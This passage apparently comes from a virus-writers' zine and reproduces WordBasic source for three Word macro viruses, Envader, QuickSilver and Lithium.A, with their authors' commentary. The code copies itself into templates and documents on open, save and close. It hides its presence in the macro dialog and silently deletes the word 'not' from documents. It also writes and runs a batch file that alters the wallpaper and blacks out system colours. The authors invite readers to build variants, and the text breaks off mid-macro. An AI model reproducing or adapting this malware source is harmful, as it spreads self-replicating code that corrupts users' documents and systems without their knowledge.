MacroName$(i, 0, 0) = "FileSaveAs" then j = j + 1 elseif MacroName$(i, 0, 0) = "FileOpen" then j = j + 1 elseif MacroName$(i, 0, 0) = "FileClose" then j = j + 1 elseif MacroName$(i, 0, 0) = "FileExit" then j = j + 1 elseif MacroName$(i, 0, 0) = "ToolsMacro" then j = j + 1 end if next i if j < 6 then ToolsOptionsGeneral.RecentFiles = 0 ToolsCustomizeMenus .Name = "FileTemplates", .Menu = "File", .Remove ToolsCustomizeMenus .Name = "ToolsCustomize", .Menu = "Tools", .Remove MacroCopy FileName$() + ":AutoExec", "Global:AutoExec", 1 MacroCopy FileName$() + ":FileSaveAs", "Global:FileSaveAs", 1 MacroCopy FileName$() + ":FileOpen", "Global:FileOpen", 1 MacroCopy FileName$() + ":FileClose", "Global:FileClose", 1 MacroCopy FileName$() + ":FileExit", "Global:FileExit", 1 MacroCopy FileName$() + ":ToolsMacro", "Global:ToolsMacro", 1 ToolsOptionsUserInfo .Name = "Envader", .Initials = "", .Address = "" SetProfileString "MS User Info", "DefName", "Envader" end if ScreenUpdating 1 DisableInput 0 paki: end sub =============================================================[ macro ends ]== The FileSaveAs macro infects the document being saved, and first changes all occurances of the word `not' to nothing (this is hard to notice, because the syntax of the document stays correct...) =[ macro FileSaveAs ]======================================================== sub main ' FileSaveAs dim dlg As FileSaveAs DisableAutoMacros 0 DisableInput 1 ScreenUpdating 0 EditReplace .Find = "not ", .Replace = "", .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 ScreenUpdating 1 DisableInput 0 GetCurValues dlg Dialog dlg if (Dlg.Format = 0) or (dlg.Format = 1) then MacroCopy "AutoExec", WindowName$() + ":AutoExec", 1 MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1 MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1 MacroCopy "FileClose", WindowName$() + ":FileClose", 1 MacroCopy "FileExit", WindowName$() + ":FileExit", 1 MacroCopy "ToolsMacro", WindowName$() + ":ToolsMacro", 1 Dlg.Format = 1 end if FileSaveAs dlg end sub =============================================================[ macro ends ]== The FileOpen macro will infect document or template files as they are opened in order to a) infect old documents the user created, and b) hide the source of the viral infection. (The user will scan his documents, and is sure to be confused if some document he's been working on for months is infected...) =[ macro FileOpen ]========================================================== sub main ' FileOpen dim dlg as FileOpen DisableAutoMacros 0 GetCurValues dlg Dialog dlg FileOpen dlg if (Dlg.Format = 0) or (dlg.Format = 1) then MacroCopy "AutoExec", Dlg.Name + ":AutoExec", 1 MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1 MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1 MacroCopy "FileClose", Dlg.Name + ":FileClose", 1 MacroCopy "FileExit", Dlg.Name + ":FileExit", 1 MacroCopy "ToolsMacro", Dlg.Name + ":ToolsMacro", 1 FileSaveAs.Format = 1 end if end sub =============================================================[ macro ends ]== The FileClose macro will take effect if the user has disabled automacros; if an infected document is opened while automacros are disabled and then closed using the `File | Close' command, automacros will be enabled and the virus's autoexec macro will be executed. =[ macro FileClose ]========================================================= sub main ' FileClose DisableAutoMacros 0 AutoExec FileClose end sub =============================================================[ macro ends ]== The FileExit macro checks to see if it is the 12th of the month, then shows a dialog box saying "It shall arrive..."; on the 13th of the month, it will create a batch file c:\wp.bat and execute it. This will create the c:\wp.bmp file. This macro will then change c:\windows\win.ini's wallpaper settings to point to the c:\wp.bmp file, and change all the system colors to black... =[ macro FileExit ]========================================================== sub main ' FileExit on error goto bollocks if Day(Now()) = 12 then msgbox "It shall arive...", "Envader", 48 end if if Day(Now()) <> 13 then goto bollocks end if DisableInput 1 ScreenUpdating 0 open "c:\dos\debug.exe" for input as #1 close #1 open "c:\wp.bat" For output as #1 print #1, "@echo off" print #1, "ctty nul" print #1, "echo n c:\wp.bmp > c:\wp.scr" print #1, "echo e 0100 42 4D 5C 08 00 00 00 00 00 00 36 04 00 00 28 00 >> c:\wp.scr" print #1, "echo e 0110 00 00 43 00 00 00 32 00 00 00 01 00 08 00 01 00 >> c:\wp.scr" print #1, "echo e 0120 00 00 26 04 00 00 00 00 00 00 00 00 00 00 00 01 >> c:\wp.scr" print #1, "echo e 0130 00 00 00 01 00 00 06 08 08 00 08 10 10 00 10 10 >> c:\wp.scr" print #1, "echo e 0140 10 00 10 18 18 00 18 08 18 00 18 0C 20 00 18 18 >> c:\wp.scr" print #1, "echo e 0150 18 00 20 0D 20 00 20 1B 28 00 20 20 20 00 28 14 >> c:\wp.scr" print #1, "echo e 0160 28 00 2C 2D 35 00 34 18 30 00 38 18 38 00 38 33 >> c:\wp.scr" print #1, "echo e 0170 38 00 38 60 60 00 40 20 38 00 40 20 40 00 40 3B >> c:\wp.scr" print #1, "echo e 0180 40 00 40 70 70 00 48 20 40 00 48 28 40 00 48 30 >> c:\wp.scr" print #1, "echo e 0190 40 00 48 46 49 00 50 28 40 00 50 29 48 00 50 4A >> c:\wp.scr" print #1, "echo e 01A0 50 00 58 29 48 00 58 30 50 00 58 38 50 00 60 30 >> c:\wp.scr" print #1, "echo e 01B0 50 00 60 30 58 00 60 38 58 00 63 62 65 00 64 48 >> c:\wp.scr" print #1, "echo e 01C0 5C 00 68 38 58 00 68 38 60 00 70 38 60 00 70 68 >> c:\wp.scr" print #1, "echo e 01D0 70 00 70 70 70 00 78 38 60 00 78 40 68 00 7E 4D >> c:\wp.scr" print #1, "echo e 01E0 6D 00 80 40 68 00 80 40 70 00 88 48 70 00 98 98 >> c:\wp.scr" print #1, "echo e 01F0 98 00 98 D0 D0 00 98 D8 D0 00 A0 50 88 00 A0 58 >> c:\wp.scr" print #1, "echo e 0200 88 00 A0 70 90 00 A0 78 90 00 A0 88 98 00 A0 90 >> c:\wp.scr" print #1, "echo e 0210 98 00 A0 90 A8 00 A0 9F A0 00 A0 A0 A8 00 A0 A8 >> c:\wp.scr" print #1, "echo e 0220 A0 00 A0 C8 C8 00 A0 D8 D8 00 A3 A1 B0 00 A8 58 >> c:\wp.scr" print #1, "echo e 0230 88 00 A8 58 90 00 A8 6C 94 00 A8 8B 9D 00 A8 B8 >> c:\wp.scr" print #1, "echo e 0240 B8 00 A8 DC D6 00 A8 E0 E0 00 B0 58 90 00 B0 60 >> c:\wp.scr" print #1, "echo e 0250 90 00 B0 60 98 00 B0 E8 E0 00 B2 B3 B5 00 B3 68 >> c:\wp.scr" print #1, "echo e 0260 98 00 B8 60 98 00 B8 68 A0 00 B8 E8 E8 00 B8 F0 >> c:\wp.scr" print #1, "echo e 0270 E8 00 BB 76 A3 00 BE C5 C5 00 C0 60 A0 00 C0 68 >> c:\wp.scr" print #1, "echo e 0280 A0 00 C0 F0 E8 00 C0 F0 F0 00 C0 FF F0 00 C8 68 >> c:\wp.scr" print #1, "echo e 0290 A0 00 C8 68 A8 00 C8 70 B0 00 C8 78 B0 00 C8 FF >> c:\wp.scr" print #1, "echo e 02A0 F0 00 C8 FF FF 00 C9 98 B8 00 C9 C6 C8 00 CA 80 >> c:\wp.scr" print #1, "echo e 02B0 B3 00 D0 68 A8 00 D0 70 B0 00 D0 CD D3 00 D0 F0 >> c:\wp.scr" print #1, "echo e 02C0 FF 00 D0 FF FF 00 D4 D8 D8 00 D8 70 B0 00 D8 78 >> c:\wp.scr" print #1, "echo e 02D0 B0 00 D8 78 B8 00 D8 80 B8 00 D8 FF FF 00 DC E0 >> c:\wp.scr" print #1, "echo e 02E0 E0 00 DC E8 E8 00 DD 93 C8 00 E0 80 B8 00 E0 80 >> c:\wp.scr" print #1, "echo e 02F0 C0 00 E0 88 C0 00 E0 98 C0 00 E0 FF FF 00 E8 88 >> c:\wp.scr" print #1, "echo e 0300 C0 00 E8 90 C8 00 E8 98 C8 00 E8 98 D0 00 E8 CF >> c:\wp.scr" print #1, "echo e 0310 DE 00 E8 F0 F0 00 E8 FF FF 00 F0 98 D0 00 F0 A0 >> c:\wp.scr" print #1, "echo e 0320 D0 00 F0 A1 D8 00 F0 F0 F0 00 F0 FF FF 00 F2 D9 >> c:\wp.scr" print #1, "echo e 0330 E8 00 FC C7 F0 00 FE B0 E0 00 FF 88 88 00 FF A8 >> c:\wp.scr" print #1, "echo e 0340 DB 00 FF B4 E8 00 FF C8 FF 00 FF D0 FF 00 FF D8 >> c:\wp.scr" print #1, "echo e 0350 FF 00 FF E0 FF 00 FF E8 FF 00 FF F0 FF 00 FF FF >> c:\wp.scr" print #1, "echo e 0360 FF 00 00 00 21 00 19 45 D4 00 01 DF 46 00 00 4C >> c:\wp.scr" print #1, "echo e 0370 92 00 21 7E 00 00 92 00 01 00 00 00 4C 00 00 21 >> c:\wp.scr" print #1, "echo e 0380 7E 00 45 D4 00 00 01 37 1E 00 4C 92 00 00 7E 00 >> c:\wp.scr" print #1, "echo e 0390 00 00 00 00 21 00 9E 45 D4 00 20 9F 0B 00 6F 00 >> c:\wp.scr" print #1, "echo e 03A0 0F 00 E8 8C FF 00 52 23 7E 00 4A 10 25 00 52 46 >> c:\wp.scr" print #1, "echo e 03B0 25 00 00 00 25 00 00 23 7E 00 45 D4 00 00 60 00 >> c:\wp.scr" print #1, "echo e 03C0 00 00 7C A6 49 00 00 00 00 00 64 47 00 00 7B 64 >> c:\wp.scr" print #1, "echo e 03D0 04 00 E9 AC 63 00 7E 00 00 00 00 00 23 00 00 23 >> c:\wp.scr" print #1, "echo e 03E0 7E 00 21 7E 00 00 D4 00 00 00 00 01 45 00 00 4C >> c:\wp.scr" print #1, "echo e 03F0 92 00 20 7E 00 00 D4 00 00 00 46 25 45 00 00 25 >> c:\wp.scr" print #1, "echo e 0400 52 00 24 7E 20 00 D4 00 00 00 1E 06 45 00 FE 82 >> c:\wp.scr" print #1, "echo e 0410 B4 00 00 00 20 00 F7 00 03 00 00 42 05 00 10 17 >> c:\wp.scr" print #1, "echo e 0420 BF 00 00 60 01 00 D2 20 DF 00 00 94 26 00 00 05 >> c:\wp.scr" print #1, "echo e 0430 F7 00 E9 FE 10 00 6F 49 60 00 0A C4 04 00 00 03 >> c:\wp.scr" print #1, "echo e 0440 6F 00 00 00 00 00 D0 00 00 00 5E DC E8 00 58 00 >> c:\wp.scr" print #1, "echo e 0450 10 00 03 20 02 00 C4 2F B7 00 07 9F 0A 00 12 5C >> c:\wp.scr" print #1, "echo e 0460 80 00 00 9A 01 00 AC 01 79 00 01 12 00 00 79 00 >> c:\wp.scr" print #1, "echo e 0470 9A 00 00 AC 01 00 0A 49 60 00 00 01 7D 00 19 01 >> c:\wp.scr" print #1, "echo e 0480 B5 00 01 DF 46 00 00 20 7E 00 20 7E 00 00 D4 00 >> c:\wp.scr" print #1, "echo e 0490 00 00 00 00 45 00 52 00 00 00 05 F7 25 00 F7 23 >> c:\wp.scr" print #1, "echo e 04A0 C2 00 00 42 05 00 0F 17 BF 00 E9 FE 20 00 A8 00 >> c:\wp.scr" print #1, "echo e 04B0 07 00 00 00 EA 00 00 20 7E 00 EA D4 00 00 7E 00 >> c:\wp.scr" print #1, "echo e 04C0 00 00 23 7E 23 00 07 20 DF 00 EA BC 00 00 7E 00 >> c:\wp.scr" print #1, "echo e 04D0 00 00 00 00 20 00 00 EA E8 00 23 7E 00 00 56 E9 >> c:\wp.scr" print #1, "echo e 04E0 38 00 04 7F 39 00 96 E9 88 00 00 00 82 00 1E E9 >> c:\wp.scr" print #1, "echo e 04F0 DA 00 04 7F 37 00 B7 E9 5E 00 E9 88 2F 00 7E 2F >> c:\wp.scr" print #1, "echo e 0500 B7 00 0B 9E 23 00 0F 07 9F 00 FF 6F 00 00 7E E9 >> c:\wp.scr" print #1, "echo e 0510 9C 00 25 52 23 00 12 00 00 00 00 13 00 00 13 05 >> c:\wp.scr" print #1, "echo e 0520 F7 00 00 9B 01 00 9A 01 12 00 01 79 00 00 62 00 >> c:\wp.scr" print #1, "echo e 0530 AC 00 2F B7 E9 00 1B 81 01 60 27 81 00 00 1B 81 >> c:\wp.scr" print #1, "echo e 0540 01 60 01 2B 26 81 00 00 1B 81 01 51 01 51 26 81 >> c:\wp.scr" print #1, "echo e 0550 00 00 1B 81 01 21 01 60 26 81 00 00 1C 81 01 60 >> c:\wp.scr" print #1, "echo e 0560 1B 81 01 32 01 60 09 81 00 00 1C 81 01 60 1A 81 >> c:\wp.scr" print #1, "echo e 0570 01 5F 01 60 0A 81 00 00 1C 81 01 60 18 81 00 03 >> c:\wp.scr" print #1, "echo e 0580 04 5F 1B 00 0B 81 00 00 07 81 01 57 01 2D 13 81 >> c:\wp.scr" print #1, "echo e 0590 01 5F 17 81 01 5F 01 5F 0D 81 00 00 09 81 01 57 >> c:\wp.scr" print #1, "echo e 05A0 12 81 01 31 01 2D 15 81 01 73 01 5F 0E 81 00 00 >> c:\wp.scr" print #1, "echo e 05B0 0A 81 01 47 01 2D 10 81 01 0B 01 5F 13 81 01 17 >> c:\wp.scr" print #1, "echo e 05C0 01 60 10 81 00 00 0C 81 01 5F 01 04 0F 81 01 60 >> c:\wp.scr" print #1, "echo e 05D0 12 81 01 4B 01 60 11 81 00 00 0D 81 01 52 01 3E >> c:\wp.scr" print #1, "echo e 05E0 0E 81 00 08 5F 2D 14 51 3F 19 04 0E 0A 81 01 5F >> c:\wp.scr" print #1, "echo e 05F0 01 47 12 81 00 00 0F 81 01 5F 01 09 0A 81 00 0D >> c:\wp.scr" print #1, "echo e 0600 0B 6D 60 04 60 60 5F 60 60 51 23 04 0E 00 05 81 >> c:\wp.scr" print #1, "echo e 0610 01 04 01 60 05 81 01 31 0E 81 00 00 10 81 01 5F >> c:\wp.scr" print #1, "echo e 0620 01 4B 06 81 00 16 1E 60 5F 81 81 60 5F 81 0C 2B >> c:\wp.scr" print #1, "echo e 0630 81 81 81 7E 04 81 57 2B 04 04 31 60 04 81 01 2C >> c:\wp.scr" print #1, "echo e 0640 01 32 0F 81 00 00 12 81 00 06 60 2B 81 1B 57 60 >> c:\wp.scr" print #1, "echo e 0650 04 81 00 07 28 51 81 81 60 82 5F 00 04 81 00 0B >> c:\wp.scr" print #1, "echo e 0660 7B 21 81 81 60 60 81 81 81 27 60 00 11 81 00 00 >> c:\wp.scr" print #1, "echo e 0670 13 81 00 03 52 5F 1A 00 05 81 01 3F 04 81 00 04 >> c:\wp.scr" print #1, "echo e 0680 04 04 60 04 05 81 01 7B 01 1A 04 81 01 5F 13 81 >> c:\wp.scr" print #1, "echo e 0690 00 00 16 81 00 05 14 81 81 81 4B 00 05 81 00 04 >> c:\wp.scr" print #1, "echo e 06A0 60 88 60 04 07 81 00 04 60 2D 5F 58 14 81 00 00 >> c:\wp.scr" print #1, "echo e 06B0 17 81 00 03 2A 0C 3F 00 07 81 00 03 47 81 45 00 >> c:\wp.scr" print #1, "echo e 06C0 08 81 01 21 16 81 00 00 20 81 00 04 60 79 5F 47 >> c:\wp.scr" print #1, "echo e 06D0 1F 81 00 00 20 81 01 32 01 5F 21 81 00 00 20 81 >> c:\wp.scr" print #1, "echo e 06E0 00 03 4B 60 45 00 20 81 00 00 20 81 01 56 01 60 >> c:\wp.scr" print #1, "echo e 06F0 21 81 00 00 20 81 00 03 3E 5F 31 00 20 81 00 00 >> c:\wp.scr" print #1, "echo e 0700 20 81 00 03 60 60 5F 00 20 81 00 00 20 81 01 10 >> c:\wp.scr" print #1, "echo e 0710 01 2C 21 81 00 00 20 81 00 03 60 83 5F 00 20 81 >> c:\wp.scr" print #1, "echo e 0720 00 00 1F 81 00 05 04 25 23 23 10 00 1F 81 00 00 >> c:\wp.scr" print #1, "echo e 0730 1D 81 01 04 01 04 04 25 01 14 01 10 1E 81 00 00 >> c:\wp.scr" print #1, "echo e 0740 1C 81 01 04 01 04 05 25 00 04 28 14 10 10 1C 81 >> c:\wp.scr" print #1, "echo e 0750 00 00 1A 81 00 03 04 04 04 00 04 28 04 29 00 03 >> c:\wp.scr" print #1, "echo e 0760 15 14 11 00 1B 81 00 00 18 81 00 12 04 04 2B 7C >> c:\wp.scr" print #1, "echo e 0770 27 56 77 56 77 57 7C 5F 50 5D 5F 3F 14 10 19 81 >> c:\wp.scr" print #1, "echo e 0780 00 00 18 81 00 05 04 1E 7C 7C 2E 00 04 1F 05 23 >> c:\wp.scr" print #1, "echo e 0790 00 05 64 6A 23 3F 3E 00 18 81 00 00 18 81 00 13 >> c:\wp.scr" print #1, "echo e 07A0 04 04 27 7C 23 23 23 24 24 25 24 25 24 25 6A 6A >> c:\wp.scr" print #1, "echo e 07B0 47 3F 32 00 18 81 00 00 18 81 00 13 04 04 04 2E >> c:\wp.scr" print #1, "echo e 07C0 27 24 77 25 23 25 77 28 7C 61 6A 51 47 45 3E 00 >> c:\wp.scr" print #1, "echo e 07D0 18 81 00 00 18 81 00 13 04 04 04 23 25 25 6A 28 >> c:\wp.scr" print #1, "echo e 07E0 28 28 29 29 34 33 31 52 47 45 3E 00 18 81 00 00 >> c:\wp.scr" print #1, "echo e 07F0 18 81 00 13 04 04 04 60 60 5F 60 60 60 65 6D 79 >> c:\wp.scr" print #1, "echo e 0800 83 87 56 51 4B 45 3E 00 18 81 00 00 18 81 00 13 >> c:\wp.scr" print #1, "echo e 0810 02 04 04 5F 5F 60 60 5F 60 66 6E 79 80 88 57 52 >> c:\wp.scr" print #1, "echo e 0820 4B 45 3E 00 18 81 00 00 18 81 00 13 04 04 04 60 >> c:\wp.scr" print #1, "echo e 0830 60 60 5F 5F 60 66 6D 79 83 87 56 52 4B 45 3E 00 >> c:\wp.scr" print #1, "echo e 0840 18 81 00 00 18 81 00 06 04 04 04 65 60 5F 04 60 >> c:\wp.scr" print #1, "echo e 0850 00 09 68 73 82 85 57 52 4B 46 3E 00 18 81 00 00 >> c:\wp.scr" print #1, "echo e 0860 18 81 00 13 04 02 00 3B 4E 5A 60 5F 60 60 67 6E >> c:\wp.scr" print #1, "echo e 0870 2F 54 55 46 4B 45 3E 00 18 81 00 00 18 81 00 13 >> c:\wp.scr" print #1, "echo e 0880 04 04 3B 55 78 78 78 5F 60 60 66 2F 69 71 71 71 >> c:\wp.scr" print #1, "echo e 0890 4B 45 3E 00 18 81 00 00 17 81 00 0D 27 04 42 2F >> c:\wp.scr" print #1, "echo e 08A0 63 71 78 78 69 60 60 41 54 00 04 78 00 03 4E 45 >> c:\wp.scr" print #1, "echo e 08B0 3E 00 18 81 00 00 17 81 00 14 21 04 3A 30 01 0E >> c:\wp.scr" print #1, "echo e 08C0 8A 78 78 60 60 2E 55 78 09 02 78 63 45 3E 18 81 >> c:\wp.scr" print #1, "echo e 08D0 00 00 17 81 00 14 1A 04 3A 2F 01 02 78 78 48 60 >> c:\wp.scr" print #1, "echo e 08E0 60 5F 4D 71 02 02 78 44 3F 3E 18 81 00 00 18 81 >> c:\wp.scr" print #1, "echo e 08F0 00 12 04 04 2F 4D 69 78 69 5F 60 5F 5F 3B 54 71 >> c:\wp.scr" print #1, "echo e 0900 71 63 4B 3F 19 81 00 00 1A 81 00 0F 04 60 42 5F >> c:\wp.scr" print #1, "echo e 0910 60 60 5F 60 5F 60 60 3B 56 4B 10 00 1A 81 00 00 >> c:\wp.scr" print #1, "echo e 0920 1B 81 00 04 04 28 29 29 05 2B 00 03 2C 2B 14 00 >> c:\wp.scr" print #1, "echo e 0930 1C 81 00 00 1C 81 01 08 01 25 04 28 00 04 29 29 >> c:\wp.scr" print #1, "echo e 0940 29 14 1D 81 00 00 1E 81 01 0C 05 25 1F 81 00 00 >> c:\wp.scr" print #1, "echo e 0950 1F 81 00 04 04 23 25 23 20 81 00 01 >> c:\wp.scr" print #1, "echo rcx >> c:\wp.scr" print #1, "echo 085C >> c:\wp.scr" print #1, "echo w >> c:\wp.scr" print #1, "echo q >> c:\wp.scr" print #1, "debug < c:\wp.scr" print #1, "del c:\wp.scr" print #1, "attrib +h +r +s c:\wp.bmp" print #1, "del c:\wp.bat" print #1, "" close #1 shell "c:\wp.bat", 0 SetProfileString "Desktop", "Wallpaper", "C:\WP.BMP" SetProfileString "Desktop", "TileWallpaper", "1" SetProfileString "Desktop", "WallpaperStyle", "0" SetProfileString "colors", "Scrollbar", "0 0 0" SetProfileString "colors", "Background", "0 0 0" SetProfileString "colors", "ActiveTitle", "0 0 0" SetProfileString "colors", "InactiveTitle", "0 0 0" SetProfileString "colors", "Menu", "0 0 0" SetProfileString "colors", "Window", "0 0 0" SetProfileString "colors", "WindowFrame", "0 0 0" SetProfileString "colors", "MenuText", "0 0 0" SetProfileString "colors", "WindowText", "0 0 0" SetProfileString "colors", "TitleText", "0 0 0" SetProfileString "colors", "ActiveBorder", "0 0 0" SetProfileString "colors", "InactiveBorder", "0 0 0" SetProfileString "colors", "AppWorkspace", "0 0 0" SetProfileString "colors", "Hilight", "0 0 0" SetProfileString "colors", "HilightText", "0 0 0" SetProfileString "colors", "ButtonFace", "0 0 0" SetProfileString "colors", "ButtonShadow", "0 0 0" SetProfileString "colors", "GrayText", "0 0 0" SetProfileString "colors", "ButtonText", "0 0 0" SetProfileString "colors", "InactiveTitleText", "0 0 0" SetProfileString "colors", "ButtonHilight", "0 0 0" SetProfileString "colors", "ButtonDkShadow", "0 0 0" SetProfileString "colors", "ButtonLight", "0 0 0" SetProfileString "colors", "InfoText", "0 0 0" SetProfileString "colors", "InfoWindow", "0 0 0" ScreenUpdating 1 DisableInput 0 bollocks: on error goto wanker DisableAutoMacros 0 AutoExec wanker: FileExit end sub =============================================================[ macro ends ]== Here's a simple ToolsMacro macro to stealth the virus's presence: (Thanks to Nightmare Joker, I modified the dialog box from his MooNRaiDer virus to make this one...) =[ macro ToolsMacro ]======================================================== sub main ' ToolsMacro Dim ComboBox1$(0) ComboBox1$(0) = "" Dim ListBox1$(0) ListBox1$(0) = "" Dim DropListBox2$(0) DropListBox2$(0) = "Normal.dot" DisableAutoMacros 0 begin Dialog UserDialog 442, 320, "Macro" PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2 CancelButton 290, 43, 141, 21 PushButton 290, 72, 141, 21, "&Run", .Definierbar3 PushButton 290, 102, 141, 21, "&Edit", .Definierbar4 PushButton 290, 130, 141, 21, "&Delete", .Definierbar5 PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1 Text 6, 223, 93, 13, "Macros &Available In:", .Text1 Text 7, 259, 109, 13, "Descr&iption:", .Text2 Text 7, 6, 93, 13, "Macros:", .Text3 ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1 DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2 end Dialog Redim dlg as UserDialog if Dialog(dlg) = 0 then Cancel else MsgBox "Not enough memory", "WordBasic Err = 7" end if end sub =============================================================[ macro ends ]== Well, that's it; it is pretty dumb, nothing really great here, but keep this in mind: it's my first macro virus, i don't have any real experience with ms wordbasic (can't seem to find the help file either :), and i'm writing this bitch at 3:00 in the morning. Any errors, correct them; if you want to make a variant of this virus, go right ahead, just give me some credit. Later all, Gothmog/[DHA] [ WordMacro. QuickSilver ] VIRUSNAME: QuickSilver SIZE: 1032 Bytes ORIGIN: Germany AUTHOR: Nightmare Joker ->Polymorf No ->Stealth Yes ->Encrypted Yes ->Retro No Here is it! My new full-steahlt macro virus QuickSilver. If the virus become active, it search's the name of the actually ToolsMacro menu, and infect then all files in the FileList. If someone try to look in the ToolsMacro Box to see if he maybe infected with a virus, then will QuickSilver immediately open a new document to hide his macros. The user will see NOTHING! Btw, it works with every Word Version. MACRO: AutoOpen ~~~~~~~~~~~~~~~ Sub MAIN REM Set ScreenUpdating Off and DisableInput On ScreenUpdating : DisableInput REM s1$ = e.g. "&Tools" (english version of word) s1$ = MenuText$(0, 6) REM and s2$ = e.g. "&Macro..." (english version of word) s2$ = MenuItemText$(s1$, 0, 13) REM Remove now some characters, which we don't need. ("&" and ".") s3$ = s1$ + s2$ For i = 1 To Len(s3$) s4$ = Mid$(s3$, i, 1) If s4$ <> "&" And s4$ <> "." Then s5$ = s5$ + s4$ End If Next i REM Use now the right name and save it! s6$ = GetDocumentVar$("Steahlt") If s5$ = s6$ Then Goto Continue ToolsMacro .Name = s6$, .Show = 3, .NewName = s5$, .Rename SetDocumentVar "Steahlt", s5$ REM Start the Quicksilver macro, REM set ScreenUpdating On and DisableInput Off. Continue: QuickSilver ScreenUpdating : DisableInput 0 End Sub MACRO: QuickSilver ~~~~~~~~~~~~~~~~~~ Sub MAIN REM Set DisableAutoMacros On DisableAutoMacros REM Open now every file in the file list REM and check if it's allready infected. Steahlt$ = GetDocumentVar$("Steahlt") Quick$ = FileName$() For x = 1 To CountFiles() If Files$(FileName$(x)) <> "" Then FileList x Silver$ = FileName$() If Quick$ <> Silver$ Then Check$ = GetDocumentVar$("RAVE") If Check$ = "" Then REM If the active file isn't allready infected then REM save it as a template and copy the virus macros REM to it! FileSaveAs .Format = 1 MacroCopy Quick$ + ":AutoOpen", Silver$ + ":", 1 MacroCopy Quick$ + ":QuickSilver", Silver$ + ":", 1 MacroCopy Quick$ + ":" + Steahlt$, Silver$ + ":", 1 REM Save the name of the >> Steahlt Box <<, too. SetDocumentVar "RAVE", Str$(Rnd()) SetDocumentVar "Steahlt", Steahlt$ End If REM At last save and close the file. FileClose 1 End If End If Next x REM Set DisableAutoMacros Off DisableAutoMacros 0 REM ####################################### REM ############ QUICKSILVER ############## REM ################ BY ################### REM ########## NIGHTMARE JOKER ############ REM ############## (SLAM) ################# REM ####################################### End Sub MACRO: >> Steahlt Box << ~~~~~~~~~~~~~~~~~~~~~~~~ Sub MAIN REM Set ErrorHandler On Error Resume Next REM Set ScreenUpdating Off ScreenUpdating REM Create a new file to hide the infected document. FileNew REM Create the Box! Dim dlg As ToolsMacro GetCurValues dlg Dialog dlg REM Close the empty file. FileClose 2 REM Set ScreenUpdating On ScreenUpdating REM And now show the user the >> clean << Box! :) ToolsMacro dlg End Sub REM BTW, this full-steahlt methode works only with Direct Action macro REM viruses! If you want infect the global file normal.dot too then use REM Virtual Boy's full-steahlt routine! :) - Nightmare Joker - WordMacro.Lithium.A ~~~~~~~~~~~~~~~~~~~ I'm so happy Cause today I found my friends They're in SLAM!! :-) DarkSide1 [SLAM] Author : DarkSide1 Origin : Lima-Peru l997 Size : 5029 bytes Number Macros : Six Encripted : Yes Stealth : Yes Multiversion : Yes Multiplatform : Yes The code is here :-) Enjoy! *********************************************** * Macro : AutoOpen * * Comment: the body of macrovirus :-) * * spread when open the doc * *********************************************** =========begin macro========================== Sub MAIN 'WM.Lithium.A dedicated to memory of Kurt Cobain '(c)1997 by DarkSide1 in Lima Peru spreadnow End Sub Sub spreadnow On Error Goto Kurtcobain Nv$ = FileName$() Ao$ = ":AutoOpen" Hm$ = ":HerramMacro" Tm$ = ":ToolsMacro" Ap$ = ":ArchivoPlantillas" Ft$ = ":FileTemplates" Lt$ = ":Lithium" gAo$ = "Global:AutoOpen" gHm$ = "Global:HerramMacro" gTm$ = "Global:ToolsMacro" gAp$ = "Global:ArchivoPlantillas" gFt$ = "Global:FileTemplates" gLt$ = "Global:Lithium" contador = CountMacros(0) instalado = 0 If contador > 0 Then For i = 1 To contador 'Hey Lithium is a good song of Nirvana... 'Find it in cool album Nevermind ;) If MacroName$(i, 0) = "Lithium" Then 'DarkSide1 is happy with this song ;) instalado = 1 End If Next End If If instalado = 0 Then MacroCopy Nv$ + Ao$, gAo$, 1 MacroCopy Nv$ + Lt$, gLt$, 1 MacroCopy Nv$ + Hm$, gHm$, 1 MacroCopy Nv$ + Tm$, gTm$, 1 MacroCopy Nv$ + Ft$, gFt$, 1 MacroCopy Nv$ + Ap$, gAp$, 1 Else contador = CountMacros(1) instalado = 0 If contador > 0 Then For i = 1 To contador If MacroName$(i, 1) = "Lithium" Then instalado = 1 End If Next End If If instalado = 0 Then FileSaveAs .Name = Nv$, .Format = 1 MacroCopy gAo$, Nv$ + Ao$, 1 MacroCopy gLt$, Nv$ + Lt$, 1 MacroCopy gHm$, Nv$ + Hm$, 1 MacroCopy gTm$, Nv$ + Tm$, 1 MacroCopy gFt$, Nv$ + Ft$, 1 MacroCopy gAp$, Nv$ + Ap$, 1 End If End If If Rnd() < 0.3 Then Call Lithium End If Kurtcobain: End Sub =========end macro============================ *********************************************** * Macro : FileTemplates * * Comment: for word english version * *********************************************** =========begin macro========================== Sub MAIN Call Lithium End Sub =========end macro============================ *********************************************** * Macro : ArchivoPlantillas * * Comment: for word spanish version * * the same macro to FileTemplates * *********************************************** =========begin macro========================== Sub MAIN Call Lithium End Sub =========end macro============================ *********************************************** * Macro : Lithium * * Comment: Show my tribute to Kurt Cobain * *********************************************** =========begin macro========================== Sub MAIN On Error Goto Endlg Beep Dim Pdlg As UserDialog msg0$ = "It's my little tribute to Kurt Cobain about his song LITHIUM of Nirvana's Nevermind Album ;)" msg1$ = " I'm so happy / Cause today I found my friends / They're in my head" msg2$ = " I'm so ugly / That's ok, cause so are you / Broken mirrors" msg3$ = " Sunday morning / Cause everyday for all I care/ And I'm not scared" msg4$ = " Light my candles / In a daze cause I found god" yeaa$ = " Yeaa (X bunch of times)" msg5$ = " I'm so lonely / That's ok, I shaved my head / And I'm not sad" msg6$ = " And just maybe / I'm to blame for all I've heard / And I'm not sure" msg7$ = " I'm so excited / I can't wait to meet you there /And I don't care" msg8$ = " I'm so horny / That's ok, my will is good" msg9$ = " I like it / I'm not gonna crack / I miss you / I'm not gonna crack" msg10$ = " I love you / I'm not gonna crack / I killed you / I'm not gonna crack" msg11$ = " I like it / I'm not gonna crack / I miss you / I'm not gonna crack" msg12$ = " I love you / I'm not gonna crack / I killed you / I'm not gonna crack" darkside1$ = "DarkSide1 without a computer is like Billy The Kid Without a gun!! ;-)" Begin Dialog 